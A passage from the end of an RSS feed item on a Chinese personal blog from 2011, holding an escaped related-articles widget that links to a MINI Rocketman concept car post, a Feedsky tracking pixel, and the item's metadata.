                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/04/12/5507897.jpg&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;28P新概念车MINI Rocketman全图解析及设计绘图 (@fu51)&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;4&quot; align=&quot;right&quot;&gt;
            &lt;a style=&quot;text-decoration: none !important;&quot; href=&quot;http://www.wumii.com/widget/relatedItems.htm&quot; target=&quot;_blank&quot; title=&quot;无觅相关文章插件&quot;&gt;
                &lt;font size=&quot;-1&quot; color=&quot;#bbbbbb&quot; style=&quot;display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;&quot;&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/593716110/Neekesblog_k9wg/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/Neekesblog_k9wg/~8023345/593716110/5077616/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;</description><category>开车</category><category>生活点滴</category><pubDate>Sun, 30 Oct 2011 19:37:27 +0800</pubDate><author>Neeke</author><comments>http://www.ineeke.com/archives/1408/#comments</comments><guid isPermaLink="false">http://www.ineeke.com/?p=1408</guid><dc:creator>Neeke</dc:creator><fs:srclink>http://www.ineeke.com/archives/1408/</fs:srclink><fs:srcfeed>http://www.ineeke.com/feed/</fs:srcfeed><fs:itemid>feedsky/Neekesblog_k9wg/~8023345/593716110/5077616</fs:itemid></item></channel></rss>
